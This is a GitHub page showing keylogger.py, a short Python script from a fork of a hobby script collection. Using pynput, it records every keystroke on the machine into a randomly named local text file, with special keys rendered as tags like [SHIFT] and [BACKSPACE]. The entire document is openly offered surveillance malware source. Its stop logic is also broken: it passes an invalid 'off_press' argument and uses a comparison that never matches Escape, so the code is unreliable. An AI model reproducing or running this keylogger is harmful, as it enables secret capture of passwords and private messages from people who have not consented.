forked from avinashkranjan/Amazing-Python-Scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeylogger.py
39 lines (31 loc) · 901 Bytes
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pynput.keyboard import Key, Listener
import random
file_name = 'file' + str(random.randint(0, 10000)) + '.txt'
f = open(file_name, 'w')
def on_press(key):
listen = str(key)
listen = listen.replace("'", "")
if listen == "Key.space":
listen = " "
if listen == "Key.shift":
listen = "[SHIFT]\n"
if listen == "Key.right":
listen = "[RIGHT]\n"
if listen == "Key.left":
listen = "[LEFT]\n"
if listen == "Key.alt_l":
listen = "[ALT]\n"
if listen == "Key.backspace":
listen = "[BACKSPACE]\n"
if listen == "Key.tab":
listen = " "
if listen == "Key.enter":
listen = "\n"
with open(file_name, 'a') as l:
l.write('{0} '.format(listen))
def off_press(key):
if Key == Key.esc:
return False
with Listener(on_press=on_press, off_press=off_press) as i:
i.join()
f.close()